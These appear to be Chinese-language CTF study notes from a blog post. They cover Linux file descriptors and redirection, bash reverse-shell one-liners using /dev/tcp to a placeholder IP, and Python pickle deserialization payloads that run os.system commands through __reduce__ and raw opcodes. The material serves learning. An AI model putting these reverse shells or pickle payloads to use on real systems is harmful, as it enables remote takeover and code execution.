刷题(十三)

45 阅读3分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

一:网鼎杯2020白虎组:PicDown

文件描述符

linux文件描述符:可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。

当Linux启动的时候会默认打开三个文件描述符,分别是:

标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)

重定向

重定向主要分为两种(其他复杂的都是从这两种衍生而来的):

(1)输入重定向 < <<
(2)输出重定向 > >>

重点:

< 是对标准输入 0 重定向     > 是对标准输出 1 重定向

再强调一下,重定向就是针对文件描述符的操作

&>- -混合输出(标准输出、标准错误输出) ( 覆盖 )
&>> 混合输出(标准输出、标准错误输出) ( 追加 )
2> 标准错误输出 ( 覆盖 )
2>> 标准错误输出 ( 追加 )
1> te.txt 2>&1 / 混合输出
2>&1 错误->标准输出->>te.txt (混合输出 )

例如:ls -la > akfile 2>&1

&1 :表示引用标准输出,可以想象成标准输出将要输出到的那个设备文件(/dev/tty  /dev/ttyS0)。
2>&1 :表示把2标准错误的输出地方和1一样,重定向2

:默认是指1的重定向也就是标准输出重定向到指定文件
所以整个意思是ls的内容全部打印到指定文件里面,同时错误也打印到1对应的里面也就是指向的akfile

上面还能简写
ls &> akfile
表示覆盖方式 把1和2都指向akfile。


反弹shell

基本反弹shell:
bash -i >& /dev/tcp/IP/8080 0>&1


交互重定向:
bash -i > /dev/tcp/IP/8080     //端口端进行命令输出在被控端
bash -i < /dev/tcp/IP/8080    // 端口执行命令,被控端回显


前面两者都是单方面的,下面介绍攻击端口执行命令并且回显数据
bash -i > /dev/tcp/IP/4444 0>&1     //在攻击端口输入命令并且回显数据,但是受害端口会显示攻击命令

升级版:
bash -i > /dev/tcp/IP/4444 0>&1 2>&1
等价于:  bash -i >& /dev/tcp/IP/4444 0>&1

二:pickle反序列化的了解、同样需要环境搭建和自主实验、原理方面自己消化比较耗时间

参考:pickle反序列化

reduce() 方法一次只能执行一个函数,一般会用到exec函数进行多个命令执行

Python 反序列化漏洞跟 __reduce__() 魔术方法相关

其类似于 PHP 对象中的 __wakeup() 方法,会在反序列化时自动调用

__reduce__() 魔术方法可以返回一个字符串或者时一个元组。其中返回元组时,第一个参数为一个可调用对象,第二个参数为该对象所需要的参数

import pickle
import urllib

class errorr0(object):
    def __reduce__(self):
		return ***

a = errorr0()
b = pickle.dumps(a)
c = urllib.quote(b)
print c

pickletools

  • 使用pickletools可以方便的将opcode转化为便于肉眼读取的形式
import pickletools

data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)

    0: \x80 PROTO      3
    2: c    GLOBAL     'builtins exec'
   17: q    BINPUT     0
   19: X    BINUNICODE "key1=b'1'\nkey2=b'2'"
   43: q    BINPUT     1
   45: \x85 TUPLE1
   46: q    BINPUT     2
   48: R    REDUCE
   49: q    BINPUT     3
   51: .    STOP
highest protocol among opcodes = 2

pickle EXP的简单demo

import pickle
import os

class genpoc(object):
    def __reduce__(self):
        s = """echo test >poc.txt"""  # 要执行的命令
        return os.system, (s,)        # reduce函数必须返回元组或字符串

e = genpoc()
poc = pickle.dumps(e)

print(poc)    # 此时,如果 pickle.loads(poc),就会执行命令

函数执行相关的OPCode:

与函数执行相关的opcode有三个: Rio ,所以我们可以从三个方向进行构造:

  1. R
b'''cos
system
(S'whoami'
tR.'''
  1. i
b'''(S'whoami'
ios
system
.'''
  1. o
b'''(cos
system
S'whoami'
o.'''

值得注意的是:

pickle序列化的结果与操作系统有关,使用windows构建的payload可能不能在linux上运行。比如:

# linux(注意posix):
b'cposix\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'

# windows(注意nt):
b'cnt\nsystem\np0\n(Vwhoami\np1\ntp2\nRp3\n.'